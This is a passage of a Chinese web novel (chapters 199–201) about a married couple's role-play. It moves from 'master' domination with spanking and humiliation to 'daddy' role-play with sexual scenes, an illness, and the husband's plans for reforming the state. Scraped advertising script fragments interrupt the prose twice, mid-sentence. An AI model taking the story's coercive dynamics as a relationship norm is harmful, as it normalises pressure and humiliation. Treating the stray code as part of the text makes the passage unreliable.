终于睁眼,两相对视,风宿恒的眼眸仍然冷静,没被牵动半分。崩溃在冷静面前永远落于下风,他确实牢牢拿捏着她。 风宿恒又问出第三个问题:“成婚以来,你有没有后悔过?” 栖真已经崩成一地鸡毛,被他踩在谷底,没什么能再输,而且经过前面两个粗看幼稚、细看深究不得的问题后,较劲的余地都被拆除,她不想隐瞒,不想粉饰太平,因为心底那缕只属于个人的怨念,那个阴暗逼仄人类都有的黑暗空间已经被风宿恒掀翻了屋顶。 “有过。”栖真凝噎道。 “什么时候?” “重伤时。” 风宿恒盯着她:“是后悔嫁我,还是后悔爱我?” 乍听是同一个问题,实质却天壤之别,可无论哪个,在她给出“有过”这个答案时都没有回头箭,栖真堵着的气泄尽了:“因为相爱,所以受伤,所以心不平。” 风宿恒又问:“现在还这么想吗?” 栖真摇头:“一刹那的念头,之后再没有过了。” 刚被绑起来时,她觉得风宿恒是要折辱她,现下才意识到他是要审讯她。 好,我说实话,我把心里的阴暗刨开给你看,如果你觉得这是我对感情的背叛,我无话可说。栖真垂头,心情丧到极点,被彻底扒掉遮羞布的感觉遭透了。 有些话之所以开弓没有回头箭,是因为一旦说出来就动摇了甜言蜜语的根基。海誓山盟和困辱不悔之所以得到永世歌颂,就因为它违背人性。她一向折服于自己的爱情,将感情摆在高于自我处,可风宿恒非要一锤子下去将基座敲碎,让它跌下神坛。纵使感情依旧,却不再光辉灿烂圣洁如水晶。 兴许风宿恒没这个意思,栖真现在也不知他到底什么意思,可她充分感受到,随着啪嗒掉下来的水晶,她自己,她这个人,好像在风宿恒面前跪了下去——膝盖虽没着地,心却替她跪倒在他面前。 在他面前再也不高大上,再端不起来,再没余地装,再也不圣洁。 风宿恒会怎么看她呢? 纵使现下他扮演着另一个角色,可内心不会沉睡,真正的风宿恒正躲在阴云后倾听她的确认,然后,他会怎么想她? 羞愧席卷全身,身体上的钝痛在心脏处蔓延,或许是她小题大做,或许什么都没发生,可栖真已经顾不上外在的狼狈,而被内心的狼狈一砖头拍倒在地。 倾诉不难,倾诉阴暗太难,如今墙被暴力踹倒,无遮无拦。 还要问什么,尽管来吧! 199. 第 199 章 谁知没有第四个问题了,风宿恒给她解绑,下令道:“去洗洗。” 适才挣动太过,受伤的膝盖酸痛不已,要在过去栖真必然撒娇或吐苦水,现下她一句话都不想说。 不想在风宿恒面前待,她起身去净室,布帘落下的那刻眼泪再也忍不住,不想让外面听到声音,栖真一手捂嘴一手擦,可是没办法,眼泪越擦越多,根本控制不住。 哭了半刻,终于把情绪泻去不少,栖真靠墙看向净室上方的气窗,日光从窗栏洒下,在浴桶上投射彩虹般的浮光。 如果说之前她还觉得只是一个游戏,觉得自己吃饱了没事做,纯属找虐,那么经过风宿恒三个问题,栖真也算明白过来。 早就不是游戏了! 哪个玩笑背后没有真心?风宿恒借游戏之名,躲在冰冷的人设后释放真实的意图,可他图什么呢? “还没洗?” 正想着,布帘挑开,男人探头进来,和靠在墙上的栖真大眼瞪小眼。 栖真不想见他,但也没了张牙舞爪的心,沉默地从一旁架上取下小盆,想要倒水洗脸,谁知风宿恒道:“我是让你沐浴。” 沐浴就沐浴。 栖真又把盆放下,拎起墙边的木桶,将水倒入浴桶,足足倒了三桶。 期间风宿恒放下布帘出去了,她也不想开口求助,提起满满一桶水对她来说太重了,放在以前没那么娇气,可现在她手臂刚好,提着很吃力。 别说受伤后,就是之前,风宿恒都从没让她干过重活,今天…… 享受惯的疼爱被收回去,一朝回到解放前。不习惯,很难受。 栖真揉了揉酸痛的手臂,尽量忽略心里的感受,想要去加热水。 这时风宿恒又进来,学她之前的样子抱臂往墙上一靠:“洗啊,磨蹭什么。” 栖真张了张口,半晌才道:“你出去。” “不。” “你在这里……我怎么洗?” “为何不能洗?” 又来了! 以为自己终于被放过,终于得一刻喘息时,他又来折磨她了。 栖真心里小人人在尖叫,发疯般砸东西,发誓他不消失她绝不洗。 可也有另个声音说,发疯是吗?神经病是吧?好呀,来啊!一起疯啊! 栖真慢慢脱下中衣和肚兜,随手扔地上。 权当墙边深邃的目光不存在,她当着他面跨进浴桶。 自有记忆以来,从未有过自我嫌弃的感觉,即便面对困难她也向来和自我安之若素。 可现在这种自我嫌弃的感觉不断攀升,像壮大的帆,主导她这艘小船。 这种感觉不会无端产生,栖真回忆从前,发觉已然走过的岁月里,居然从未遇见过让她产生这种感觉的人。 进一步讲,从没人像风宿恒一样和她生命纠缠至深,已然记忆模糊的父母没有,同学同事更不可能,而小包子带给她更多的是对生命的敬畏和满足。 只有风宿恒,翘一翘指头就能左右她的心绪,疯起来就像个持铲人,一铲一铲下去挖她的根,一早上搞得她疲于奔命,愤怒的,羞愧的,丑陋的,低级的……还有此刻盈满心间的自暴自弃。 一只手伸进浴桶,打断栖真思绪,她一抬头见到风宿恒的怒容。 风宿恒一把将她从水中拉起,用布巾胡乱擦干,扛起来出净室,扔回炕上,被子一包,怒道:“谁让你洗冷水澡?” 栖真平静道:“你。” 风宿恒将外间两个炭盆搬进来,又燃起火炕,待房中熏出热浪,才将手伸进被中摸她。 冰冷的肌肤终于回温,他视线一扫,对上她挑衅的眼,忽然揭开被子将栖真按在床上,抬手往她光裸的臀部抽去。 雪白泛出红印,可身下人硬是没吭一声。 “让你洗冷水澡了吗?”风宿恒又问。 “又怎样?”栖真不挣不骂,用被子蒙头,忍痛道。 又引来好几下抽。 屁股被抽到红艳,被下传来闷声的抽泣,风宿恒想拉开被子,怎奈被角被紧紧拽住,风宿恒用力将被子扯走,将栖真翻转过来。 蒙在被下又七情上头,让此刻的栖真面色艳若桃李,但与之完全不匹的是她转头不愿看他的动作,一晃而过的眼神都昭示着不从。 风宿恒捏着她下颚把脑袋转回来:“说一句主人我错了,就饶过你。” 就那么想她喊主人?风宿恒非要证明他对她有多大的影响力? 一滴泪从眼角落下。 “主人,我错了。”栖真终于开口。 谁知风宿恒还不放过她:“你不真心,栖真,不要敷衍我。” 真心?他要她怎么真心?去真心体会匍匐在他脚下的感觉吗? 风宿恒道:“把自己交出来很难,但你试试,不要思考,不要钻牛角尖,放下自己,像你之前说的,将权柄交予我。” “之后呢?” “信任我。”风宿恒道。 比起之前冰冷的态度,这话更像循循善诱,若伊甸园里黑蛇吐信,引诱她打破禁忌和桎梏。 栖真看着他,终于说:“主人。” “错了吗?” “错了。” “说主人,我错了。” “主人,我错了。” “今天你只能以主人之名称我,明白吗?” 栖真没反应。 风宿恒:“说话。” “知道了,主人。” “穿衣服,来吃饭。” 原来他刚才弄午膳去了,一顿饭沉默吃完,风宿恒道:“去休息。”便将碗盘端出去。 栖真靠回床头,觉得累,进入全然放空的状态,这些日子来开会、商讨、可能宫的未来,众人的期待……一切一切都离得越来越远,越来越远……她迷迷糊糊睡过去。 睡过去就开始做梦。 暴力再次出现。 一言不合的误会和暴打,求 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饶都挣不脱的拖行和踩踏,想护住腹部,可无情的一脚狠狠踩下,手指被踩断都没能护住,那一脚彻底踩碎了她孕育的可能。挣扎也是无助,哭喊也是无助,后悔也是无助,她不知道要怎么办。 接着梦境转换——大家殷切地看她,眼神炽热,表情崇拜。她的想法被无限放大,成为众望所归。她抬头,发现自己在透明的观察盒中,盒外好多放大镜,镜片后有一只只热情的眼,正透过镜片观察她。 门被关上了!黑暗中原本留有一丝强力的光,引领她去,可一眨眼门就关上,黑暗中再没有门,只有声音。喧嚣的人声交织一片……她可以,她很强,她可以代表我们,把情绪给她,她受得住,让她去抵御黑暗,让她去面对残害,啊,她可以战胜病毒……她……她……她……她…… 声音太纷乱! 她不知道自己在哪里。 有没有人能拉她一把?将她拉出这个被代表、被顶上的人生? 没有人,一直都没有人! 手垂下,她小声啜泣。 可是那一刻,一只温暖的掌抓住她垂下的手,一道声音说:“把你交给我,然后信任我。” 那只手将她从黑暗中拽出来,可她都看不清这手属于谁,只有那个声音持续在耳边回旋:“信任,你还可以信任,去相信会有力量托着你,再信任一次……” “再信任一次……” 泪水汇集到耳蜗,栖真迷蒙地睁眼,房内光线昏暗,已经黄昏了,视线一偏,就看到坐在床侧高大的身影。 梦境和现实在这一刻重合,只一眼,她就确认了手的主人。 风宿恒不知在床边坐了多久,不知这般看了她多久,手都没来得及收回,还在帮她轻轻拭泪,而下一刻,视线就对上了视线。 栖真在昏暗中不说话,神情恍惚,仿若隔世,脑海里浮现一句话——我们是不是认识很久很久很久了? 风宿恒也不言,将她扶起抱进怀里,抱得很紧很紧,像要将属于自己的东西嵌进胸腔,死神都不能夺走般紧。 他吻她,解开衣服抚/摸她,又将拭泪的绢帕绑住栖真的眼睛。 他们一言不发。 在接下来的几个时辰里,他全权接管了她,用强硬的手法一遍遍模糊她的意志。 栖真不再反抗,乖乖将自己交出去。 这次交出的还有思想和尊严。思想被消灭,黑暗中又要什么尊严?有思想和尊严的兽是人,抛弃这些的人就成了兽。几个时辰里,她前所未有的放肆。灵魂和身体分开,在遥远的时空她似乎尝过分开的滋味,今日不像初试,更像回归。 如果不是彻底放开束缚的绳索,这辈子她都不可能有这种疯狂的感觉。 正因为此刻抛弃太多,她才能无所顾忌地说,主人,进来。这些举动全非出自思考,无谓得失,只因她想要。 本能地想要。 今晚栖真彻底迷失,又像拨开迷雾,窥探到一丝真实而黑暗的自我。 200. 第 200 章 明明清醒,状似喝醉。 栖真慢慢适应了什么都不想,全凭对方掌控的感觉。脸上落下吻,男人说爱的声音在耳边回响。半昏间,一句“主人”溢出口,之后就什么都不知道了。 一夜无梦,活像清零重来,散架的四肢让她睡中都微蹙眉头。 醒来时栖真有一刻眩晕,维持着匍匐的姿势,身下暖炕还温热,而天色已然攀升,阳光照进床帏,明显已过早膳时刻。 第二天了! 说好一天一种模式,昨日她领教了风宿恒的厉害,而今日…… 他会不会又发疯? 栖真身子难受,趴在床上装死,谁知视线一转,就对上风宿恒的眼。他正从外间进来,笑道:“总算醒了。” 一笑间春暖花开,冰山狠人再不复见,栖真静静看他,心里各种操操操操! 风宿恒腰上还围着围兜,想来刚才在灶间忙活,在床侧坐下时身上还飘来一股清淡的柴火味。他取出一早塞在被窝里暖着的干净衣物放到床头,栖真够得到的地方。 “起得来吗?”风宿恒看向她布满红印的后颈,似笑非笑。 栖真瞅他,眼神离“友好”很有段距离。 风宿恒亲昵道:“熬了鸡丝粥,起来吃,吃完跟爹爹出去玩。” 栖真眼珠瞪得又大又圆,在风宿恒因这傻帽表情大笑出屋去的时段里,各种混乱。 爹爹??? 所以今日玩的还是她的字条?额,到底是不是栖真都不敢确定。 种种疑惑中起床洗漱,挪出门到院中坐。 鸡丝粥确实美味,可她一看那方木桌,一瞥用来补鸡笼的红绳,就没了胃口。下巴太酸了,勉强吃两口就放下勺,可架不住风宿恒坐边上撸她脑袋:“真真乖,好歹吃了这碗,补身体呢。” 反差太大,让人不适,栖真拨下他的手,垂头又吃了一口。 风宿恒好整以暇道:“粥天没亮就熬上去,鸡腿腌了一个时辰,也就这会儿吃才不辜负美味,再等一会儿火候就过了。” 爹爹心意扑面而来,栖真只好磨磨蹭蹭又吃半碗,昨日消耗太过,今日浑身不得劲,能吃这些是极限了。 风宿恒看她吃完,笑道:“我家宝贝变闷葫芦了,一句话都没有?” 栖真揉揉下颌:“嗓子疼。” 声音确实暗哑,风宿恒却笑道:“真真昨日干什么去了?怎么嗓子哑成这样?” 栖真没好气道:“遇到坏人,很坏很坏的那种。” 风宿恒正色道:“什么人欺负我家丫头,爹爹打死他。” 栖真一巴掌拍他脸上,一点没留情:“不用爹爹出马,我自己来。” “别打疼你的手。”风宿恒抓住她手轻轻吹气。 栖真鸡皮疙瘩掉一地。 她神情复杂地看他,心里的小人人又在狂啸,恢复吧好嘛?我不要爹爹,把我脑子正常的夫君还回来!糖分超标,甜到发齁,齁得她想提刀砍人! “来了三日,整日闷在屋里也没出去走走,今日带你去个好地方。” 栖真冷着脸:“走不动。” 风宿恒眼中是满满宠溺:“有事爹爹服其劳,抱你去。” 栖真…… 她就想赖在床上,可风宿恒洗完碗盘,拿了披风给她,直接把人打横抱出门。 栖真头更晕了,哎哎哎叫别这样抱,于是风宿恒竖着抱,让她坐在臂弯里,像单手抱个没分量的小孩儿,还说:“就知道你最喜欢这种抱法。” “放我下来,晕。”栖真晃着晃着只能扶在他脑袋上,挣扎着想下去。 “叫一声爹爹就放你下来。”坐骑表示不同意,趁机谈条件。 “想得美。” “刚才叫过的,有一就有二。” 栖真头疼:“叫过还叫?” 风宿恒道:“想听。” 昨日没羞没臊的话全被挖出来,主人不知叫了多少遍,今日一声爹爹好像也没什么大不了,栖真不情不愿道:“爹爹。” 风宿恒终于将她放下,眸子微挑,是狮王想把小崽子叼回窝、燕子衔泥筑巢喂雏儿的眼神,可他什么都没做,理了理她的鬓发,轻声道:“乖。” 别看昨日剧情结束了,这时栖真才发觉疯魔还在继续,这声“乖”像风宿恒给她下的咒。随这声落地,面前又是大坑,跳不跳?跳下去,做爹爹的乖女儿,心安理得享受宠爱;不跳,冷眼旁观,然后齁死自己。 想想昨日,一开始她也过不了自己那关,满心抗拒,结果风宿恒不照样有百样手段让她入戏?最后被整得那么惨的还不是她? 今日好歹甜宠剧,有人宠她还不要了? 栖真抱住风宿恒的腰:“身上疼,不想走。” 这撒娇对风宿恒太好使,他直接把栖真背上,稳步往山里进发。 纵使背着人脚程都快,一路上山直奔山巅。此地应是万仞山西部最高峰,到了山顶四下环顾,再不见更高处。 风吹云散,眺望山下美景,风宿恒率先在悬崖边坐,回身伸手:“来。” 双脚伸出去坐到崖边太刺激,栖真不敢,在后面不肯上来。 风宿恒一直伸手鼓励:“丫头过来,不会让你掉下去。” 这里太高,看得人腿肚子打颤,栖真蹲身求饶:“不要。” 风宿恒便不再勉强:“那你坐这儿。” 栖真在他身后盘腿坐,只要不把脚伸出去,这里勉强还能待。 万仞山天气炎热,冬景到像滞留在秋季,山下漫山遍野黄叶和红叶。远处高山飞瀑,耀如白练。往东望想找开物顶,可群山层叠,哪里找得到熟悉的影子? “万仞山好大。”栖真感叹一句。 风宿恒背对她也在看风景:“这里让我想起大容最高峰。” “哪一座?” 风宿恒便说起三年前带钟雄和尚可薪去矗天山祭天。 “如今矗天山上造了新的神龙庙,一千步台阶才去得庙中。民间都说死前不去矗天宫,此生枉为大容人。” 栖真道:“兴许就是因为一千步台阶,才让世人更加笃信,生了非拜不可的想法。” “确实。”风宿恒道:“那是当初造神龙庙时特意辟的台阶。” “你下的令?”栖真伸手戳他后背。 “爹爹下的令。”风宿恒转头捏她手指。 栖真笑:“爹爹很喜欢给人当爹?” 风宿恒笑到肩膀耸动:“只喜欢当你的。” 栖真在他背上写了个Dad:“为什么?” “可以往死里宠。” “夫君不能往死里宠?” “不一样。” 栖真想了想,不明白哪里不一样。 风宿恒往后靠,上半身躺下来,手肘撑着支起头,若脚下并非深渊,这样子倒颇有醉卧美人膝的闲适。 他侧颜太杀她,栖真痴看半晌,缓了缓心跳,漫声道:“爹爹这辈子做的最得意的事是什么?” 风宿恒后仰,抬手摸她脸:“把我家宝贝留在身边就很不容易了。” 栖真在他掌中蹭了蹭:“除此外呢?” 风宿恒略沉吟道:“五年前刚入大容那会儿,发现这国家外强中干,打开国库清点,各项账目加起来还没我家底多。” 他叹一声:“五年一晃而过,如今国库殷实,有了些抵御灾变的能力,也算能看看了,可现下大容仍有积弊,一时半会儿难收成效,只怕要下一个五年才能脱胎换骨。” 栖真问:“现下大容有什么问题?” “人。”风宿恒道:“从上至下都缺人。有广阔眼界、卓越能力、专项之才的人少之又少。” 之前聊到可能宫的未来,栖真多多少少听风宿恒提过这方面,点了点头问:“接下去五年爹爹有什么打算?” 风宿恒道:“最近在跟群臣商讨新政,设想了七项:重修文册、设立报业、组织行会和商盟、设立鸿雁司、开采矿业、重铸国境、建立人才选拔制度。” 难怪最近他频频回万丈城,大概怕她身上积压的事太多,这些朝中新政他居然没怎么跟她说。 “好多啊。”栖真感兴趣:“说来听听。” “乖宝想听?”风宿恒笑:“求我啊。” 栖真啪嗒在他脸上亲了一口。 “真要说,这些新政大多受你启发。”风宿恒宠溺地反手摸她脸,滑腻的触感让人爱不释手。 “我让可薪对比了大容和辛丰付梓书册的数量,大容居然不到辛丰五十其一。在文化流传和积淀上,大容太弱了!过去多年,民间流通的书册只限诗集,其他内容一概难觅。这怎么行呢!所以我想重修文册,包含几项内容——其一,我会派使团到中土搜罗各色书籍,择优在大容刊印;其二,你上次提过的改良印刷术,我已让善巧司着手钻研,你说的出版制度也可借鉴,之后朝中将设立官社,同时鼓励民间同步开设出版,两厢并重,争取五年内将书籍刊印数量赶上辛丰。其三,辛丰四大家八学派,几百年的典籍乡野村夫确实难懂。要普世,要让百姓也有机会接触经典,你教我的漫画就很好使。画画一途,天下也无人能画得过我了,我画个样本出来,让世人知道什么是漫画,之后再以减税方式,让一些民间出版社专出典籍漫画。” 栖真静静听。 风宿恒继续道:“出版业能兴起,便有了设立报业的基础。只有朝堂邸报是不够的,还要有民报和业报。尤其是业报,大类行业该有自己的业报,为这个行业梳理体系,提供讯息。尤其现在各行少人才,有了业报,兴许就是聚拢人才的捷径。哪些人在业报上经常登出好文,哪些人于此途甚有心得,都能靠一份业报挖将出来。” “如今不少行业在民间都是新鲜事物,既无概准又无扶持,若朝廷隐其后,设立民间行会和商盟,将专才登记造册,广布经验,加快行业开拓,便能让人少走弯路。当然,专才该有相匹配的荣誉称谓,这个可借庙堂威势,毕竟朝廷盖章加戳的人,到民间已经足够荣耀。” “大容闭塞百年,很多东西真是一笔糊涂账,别说他国情报,国内诸事都不清楚。说来不可思议,刚执掌大容时我想知道这国家到底多大,拥有多少亩良田。单这一条,问遍朝臣,竟无人答得上来,这不可笑吗?这些年对外的情报网用的还是我过去私下设立的那套,但现在要搜集的情报太多,我的人撑不住。所以我想在朝中正式开设鸿雁司,专司内外情报搜集。这样决策时才不至于左支右拙。鸿雁司的运作我心中已有雏形,但具体落实还需朝中讨论。” 风宿恒又道:“我以前说过,辛丰北发现过金铜矿,真真还记得吗?” “当然。” 他在馒头屋说的每一句话,她都记得清清楚楚。 风宿恒:“原本想着这几处矿藏将来留给凡心,既然他爹没死成,不留了,开了再说。” “完了。”栖真这才想起这出:“我和我儿子硬生生被你降在一个辈分。” 风宿恒嘿一声:“此爹爹非彼爹爹,丫头懂的。” “行了,说你的。” 风宿恒道:“大容少矿,但是听你和万叶飞聊的很多想法,没有金属,没有原料做不成的。要发展你说的工业,必须要有矿藏。我已让倪煌派人到中土各地网罗各色矿藏样本,大容国内既然有金铜矿,就先开采。是否能再探到别的矿藏,倪煌后面会再跟进。” “至于重铸国境,之前也和你提过,如今永嘉屯兵所已然稳定,我想在大荒流以东以南,和辛丰接壤之地修建一道城墙。既能规范出入,又能防范。这是继永嘉道之后大容第二大建工,预计四年内修出个雏形。” “还有最后一项,人才选拔制度。真真你也看到了,我想做的那么多,可现下朝中能做事的人太少,各司都缺人,都忙到叫苦不迭。举荐制 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经跟不上用人的速度,得有一套完善的人才选拔制度才行。你上次说的科举制和高考各有利弊,我仔细想过,觉得不能照搬。入朝为官有入朝为官的要求,个人学业是个人学业的标准。我想设立统一官考,选拔有潜力的新人至备政堂,官考自然要考学业,但更侧重为政思路、沟通和人品,一个人文章写得好,未必办得了实事、安得了民心。我要选的是上手能用的经世之才。过了官考入了备政堂,我和臣工们轮流讲学,传授施政经验,设置道道考核,最后挑选适合的人去适合的司。至于民间的学历考试又是另一回事,如今的大容不需要一众学究,而要各行业的人才,所以你提的文化水平考试不用像高考那般难,统一学制后,九年教育结束,通过考核拿到文凭。后面的路由个人决定,想钻经史的钻经史,想学工的学工,务农也行。而之后深造,由朝廷通过行会发布进阶荣誉,能传授经验或有行会认可的开拓之举都可逐层进阶。我不想让未来的大容只信奉‘万般皆下品,唯有读书高’这一条准则,谁能在自身领域做最多贡献,谁就得朝廷认可,获得高人一等的地位和财富。” 说到这里,风宿恒转首对栖真道:“可能宫能为大容基础学科奠基,但不可作为官学。我不能让朝廷指定让百姓送孩子来可能宫上学,也不能对外宣称可能宫背后是朝廷,其中道理,你可省得?” 栖真咬唇。 “慢慢想。”风宿恒一笑:“还有,爹爹知你梦想,希望每个孩子都能免费入学,让穷人也得公平。可我要劝你放弃这个想法。不收束脩的学习未必得人珍惜,免费是把自己退路掐断,一上来高举高打不利长久。紧了松容易,松了紧就难了。” 说完这些,他不再多言,给栖真足够时间思考。 栖真微腩。 有些道理不是不懂,只是事情落到自己头上,又占了天时地利人和,难免陷入理想化。这两条风宿恒并非抱以商量语气,而是直接让她注意,又点到为止。 再想适才风宿恒说的第二个五年计划,思路清晰,条分缕析,誓要为大容解决人才问题。他看得远,敢施为,既能精准把控大战略,又注重落地实操。而最让她惊奇的是,虽然他不断在说这条是你讲过的,那条是听你提过的,可栖真清楚,很多东西不过是两人平时闲聊或她随口提及,她说过就忘,没想到风宿恒都记得,还能用自己理解排出轻重缓急,挑出可借鉴的方向,转为政见。 一句闲聊,到成为统御国家的政策,当中何止十万八千里。 而这个距离就是风宿恒的能力——既能攻城拔寨,又能守土安邦。 栖真看向身前男人,他正转头观赏山下胜景。山风吹拂发梢,端的从容淡定,很有几分仙气飘飘。之前见风宿恒危崖侧卧,她都替他胆颤,如今再看,却觉得这人哪是卧在危石上,他分明卧在时代的风口浪尖上。 也就不同寻常的险峻地,才配得上这身绰约风姿,数风流人物,还看今朝。 抚上他的脸,风宿恒被打断观赏的兴致,转过头来。 栖真拍他肩,示意他躺下。 风宿恒索性双臂枕脑在崖边躺下,看向天空,叹了一句:“白云悠悠,倦鸟还巢。” 视野里,除了白云和倦鸟,还有大美人。 栖真双手捧住风宿恒脑袋,在他额头倒印一吻,又往前倾,沿着他的鼻梁亲下去,最后寻到他的唇,轻轻覆上。 双唇分开时,栖真垂首看风宿恒的眸子,风宿恒也正凝视她。 栖真轻声道:“我们回去。” 风宿恒从她眸中领会意思,笑着起身,背她下山。 “适才看到那个方向有片胡桐林,这时节应该最好看。”风宿恒到半山腰时指个方向:“看一眼再回?” 栖真随他。 很快下到山下,找到那片林。林子很大,蔚为壮观。入目清一色白皮的树、黄灿灿的叶,有的树甚至几十丈高,又粗又壮。风一吹,黄叶纷飞,铺了一地金黄,美到夺目。 栖真下地,捡起两片干净的落叶看其纹理,圆圆的叶片很有萌感。 忽觉腰间一紧,是风宿恒带她跃上一棵硕大的胡桐,并排在结实的树干上坐。 他们都不说话,风宿恒揽着栖真,让她靠在怀里,就这样静听风声,看无数蹁跹“蝴蝶”缓缓落地。 后来也不知怎的,兴许是栖真抬头看了他一眼,兴许是他低头接收到目光,两人就吻起来。 银色的线丝在交合又分开的唇齿间互换,他们接过无数次吻,栖真早能分辨出吻她的人现下是什么角色。他对她的疼惜体现在此,硬生生把她从他的女人吻成他的女儿。 狮王终于把小崽子叼回窝,一遍遍舔舐它的身体,即便崽子有小小挣扎,狮王都会用肉垫按住,舔到浑湿,让它沾满标志性的气味。 这感觉太神奇,没法和外人道,栖真脸颊滚烫,放任自己体会隐秘的激情。 吻中有支配欲,但不是昨日强硬的要求臣服,完全不一样!这是长辈的吻,有照顾、有引诱。 他之于她,可以是王者,也可以是长者。他温情又引导,用心良苦,教她太多,说她的中土之旅由这位长者步步养成都不为过。他养她的儿子,又养她,把她养成娇艳的花。如今长者不满足只是照看,还要把它亲手摘下。 谁叫这朵花心甘情愿呢? 明明昨日一个要了很多,一个给了更多,此刻心境却大不同。栖真抑制不住喘息,被压在粗壮的树干上,双腿紧紧夹着他。 “要吗?”长者问。 “不回去了。”鲜花答。 可风宿恒太坏了,长者坏起来总是特别闷骚,他一边吻,一边探入,还提要求:“叫我什么?” “爹爹。” “再叫。” “爹爹……” “再叫!” “爹……嗯……啊……” 树干无风自摇,叶子落得凶猛。 201. 第 201 章 栖真没想到会晕。 恢复一点意识时,发觉自己正趴在风宿恒背上。 “我……怎么了?” “生病了都不知道。”风宿恒专注赶路,想带她尽快回茅屋。 病了?栖真迷迷糊糊地想,难怪头那么沉,浑身发烫,她轻笑出声:“还以为被你在树上干晕了。” 风宿恒语气沉沉,听着就不那么高兴:“能挺到被/干晕,先得有副好身体。” 道理是这样没错!和风宿恒在一起,做一次对他是开胃小菜,做一晚他都未必过瘾,这人是金刚不坏之身,而她只是凡人弱鸡。 可弱鸡也有变态的时候,生病了,金刚都奈她不得,栖真猫儿似地咬他耳垂。 风宿恒偏头躲:“你……” 栖真:“我……” 风宿恒双手把她往上颠了颠,背得更稳:“病了还不老实?” 回到茅屋把人放炕上躺下,盖好被子,灌了她一大杯热水:“昨日敢洗冷水澡。” 栖真烧得有气无力,病得有恃无恐:“谁叫你对我那么凶。” “你就有这本事,总让人想打你屁股。”风宿恒凶巴巴道。 栖真呵一声,提醒他:“今日是爹爹呢。” 风宿恒瞪眼:“才更要打。” 栖真半阖下眼皮:“打啊。” 风宿恒摸上她烧成红苹果的脸蛋,憋着口气:“欠着。”掖好被角,让她睡一会儿。 栖真确实精神不济,闭眼睡去。期间额上覆上凉物,冰冷的手背贴在脸侧缓她燥热。不知过了多久,有人轻轻叫醒,困乏间扶她起身喝药,栖真喝完,苦到彻底清醒。 一觉睡到傍晚了,起来吃点东西,胃里堵着躺不下,拉着人不让走:“让我靠一会儿。” 风宿恒靠在床头给她垫,栖真瘫在风宿恒身上才踏实,过一会儿果然打出嗝,有药的味道。 “回去过啦?”栖真闭目问。 “没。” “哪来的药?” “这次带的。” 栖真轻笑:“平时吃的还不够,还带了治烧的?” 风宿恒道:“怕你有个头疼脑热的。” 栖真悄悄吁气。 两个月了,她伤养好了,但多多少少留下后遗症。 只要白日耗了心力,晚上就精神不济、头晕嗜睡,脑里针扎似的。 跨过半座万仞山,是风宿恒背她来的;出去走走,是风宿恒背她去的。他怕她膝盖受不了,不敢让她走长路,更别说翻山越岭。 还有手指虽然消肿了,但最近她发现自己没法长时间写字,握笔超过半个时辰,手指就开始哆嗦,酸痛地握不了笔。 栖真语气落寞:“我这身体,是不是越来越不好了?” “没有不好,昨晚多生龙活虎啊。”风宿恒拍着她安慰。 栖真转头,笑着用另一边火烫的脸贴住他健硕的胸膛。 “爹爹。”轻轻唤一声。 “嗯?” “你真地很会当爹。”栖真盖章加戳:“爹系男友。” 头顶传来低沉的笑声,震动胸腔,风宿恒问:“我的人设又加一条?” 他居然还记得人设这个梗,栖真笑弯嘴角:“风宿恒,你有毒。” 风宿恒温柔:“毒死你啊?” 栖真:“甜死我啊。” 风宿恒在她头顶亲了亲:“别人家的姑娘在夫家受了委屈,回家还有爹爹撑腰,咱们真真也有爹爹,以后你那夫君欺负你,让真真不高兴,就回家和我说,爹爹去揍他,帮你讨回公道。” 他又在她头顶亲了一口:“爹爹疼你,绝不让浑小子欺负你。” 栖真吸了吸鼻:“爹爹会无条件站在我这边?” 风宿恒道:“爹爹管什么对错?只管疼丫头。” 栖真问:“以后要疼疼的时候,怎么找爹爹呢?” “叫声爹爹就好了。”风宿恒道:“就会来帮我家宝贝了。” 就想她知道,夫君兴许还要论论理、拌拌嘴,爹爹不用,爹爹只会宠,所以在中土不用怕,她就是身边有夫君疼,身后有爹爹宠。 没有想哭的,可眼泪莫名落下,洇湿衣襟,栖真道:“原来有爹爹的感觉这么好呀。” 风宿恒问:“真真从没说过自己爹娘,他们是怎样的人?” “时间长,记不清了,我八岁时他们车祸去世的。”栖真努力回想:“我父亲……应该是个不苟言笑的人,喜欢在别墅的窗口看书,可以看一下午都不起身。我母亲很会做菜,我记得她经常做一桌颜色鲜艳的菜,还养了只叫小白的猫,后来小白……啊,我也不知道他们去世后小白去哪里了。” 栖真说不下去了,一抓一抓地揪着风宿恒的衣襟。 风宿恒拍她背:“没事,真真还有爹爹,这个会活得比真真长,会一直在身后让你靠。” 栖真点了点头。 之后就不说话了。 室内静了好长时间,久到风宿恒以为她睡着,正想放平让她好好睡,就听栖真问:“你喜欢我叫你爹爹,还是师父呀?” “都喜欢,很喜欢。”风宿恒道:“你看。” 栖真噗嗤一声:“动不动就那啥。” “不动也那啥。” “那么要呢?”栖真抬头看他:“万一哪天我不能给了,你怎么办?” 风宿恒道:“茹素。” “忍得住?” “你不愿意我才要忍,你不可以,我从此清心寡欲。” “听起来违背人性,人能彻底脱离性?”听他这么说,栖真暗爽,面上抬杠。 风宿恒淡淡道:“我的人性高于性。” 这话真是清风霁月,岂料他话锋一转,补充道:“所以能做的时候,不要放过。” 栖真……… 手指无意识地在他胸前抠,栖真道:“昨天你问我有机会回去的话,我回是不回……今天我想问问你,我有机会回,你跟不跟我走?” 风宿恒道:“跟!” “跟?” 风宿恒嗯了一声:“没有时代可以把我们分开。” “那么好呢?”栖真嘴角微翘:“跟我回去,你就到了一个坐铁鸟能上天的时代,你在中土学的东西在那里行不通,在这里会的技能在那边用不上,你对中土的记忆从此变得毫无意义,这样也去?” 这是风宿恒当初在空境谷夜谈时对她说的话,现在她拿来问他。 “以前我确实这么想。”风宿恒道:“现下不了。” 谁叫他如今有了秘密? 一具躯体容纳两个灵魂,一古一今,够他在不同时代存活。 但这件事风宿恒不会跟栖真讲,他不会让她知道那个男人一直用这种方式陪在她身边。 雷恒爱她多年又如何,为她付出良多又如何?最后得到栖真的是他风宿恒,不是雷恒。 雷恒唯一的幸运,是和栖真生了个孩子,而他和栖真,这辈子都不会有孩子了。 想到这里,风宿恒胸闷,他至今不敢让栖真知道真相,夙夜辗转间心都疼死——为她无法再孕育的身体,为她知道自己无法怀孕后必然的伤心。 所以当栖真问为何现下改变了主意,风宿恒只是将人抱紧:“不为什么,就不和你分开。” 